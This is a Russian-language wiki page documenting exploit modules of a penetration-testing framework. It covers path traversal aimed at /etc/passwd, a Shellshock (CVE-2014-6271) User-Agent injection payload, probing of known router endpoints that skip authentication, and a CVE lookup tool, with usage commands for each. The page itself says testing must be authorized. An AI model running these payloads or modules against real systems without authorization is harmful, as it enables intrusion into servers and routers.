kitsune wiki

Nine-tailed pentest framework — полная документация по модулям

View on GitHub

Exploits layer

Все exploit-модули требуют авторизованного тестирования.

exploits/web/path_traversal

LFI/путь: ../../../etc/passwd (десять вариантов encode) в каждый параметр URL. Хит — root:x:0:0: в ответе:

use path_traversal
set url http://site.com/download.php?file=report.pdf
run

exploits/web/shellshock

CVE-2014-6271 — bash-инъекция через User-Agent у CGI-эндпоинтов (7 common CGI путей; paths опция для подмены):

use shellshock
set url http://host/cgi-bin/
run

Payload: () { :; }; echo; /bin/echo -e "Content-Type..."; маркер K7_SHELLSHOCK_OK в выводе = уязвимо. В реале patched bash — ожидаемо «не стреляет».

exploits/router/auth_bypass

14 известных «дырявых» endpoints роутеров (/HNAP1/, /goform/..., OpenWRT /cgi-bin/luci/, Netgear /setup.cgi?next_file=..., Zyxel /config.device.xml…) без авторизации:

use auth_bypass
set target 192.168.1.1
set port 80
run     # что видно без логина → loot(router_endpoint)

routersploit-стиль: берут target — прощупывают «магические» пути (mgmt, snippets, dhcp logs…).

Оффлайн/онлайн lookup CVE через NVD 2.0 API (без ключа):

use cve_search
set keyword "nginx 1.18"
set limit 5
run     # CVE id, CVSS score, description → loot(cve)

Идеально после techdetect: нашёл версию nginx → нашёл CVE → дальше руками/через свой модуль.

Дальше: payloads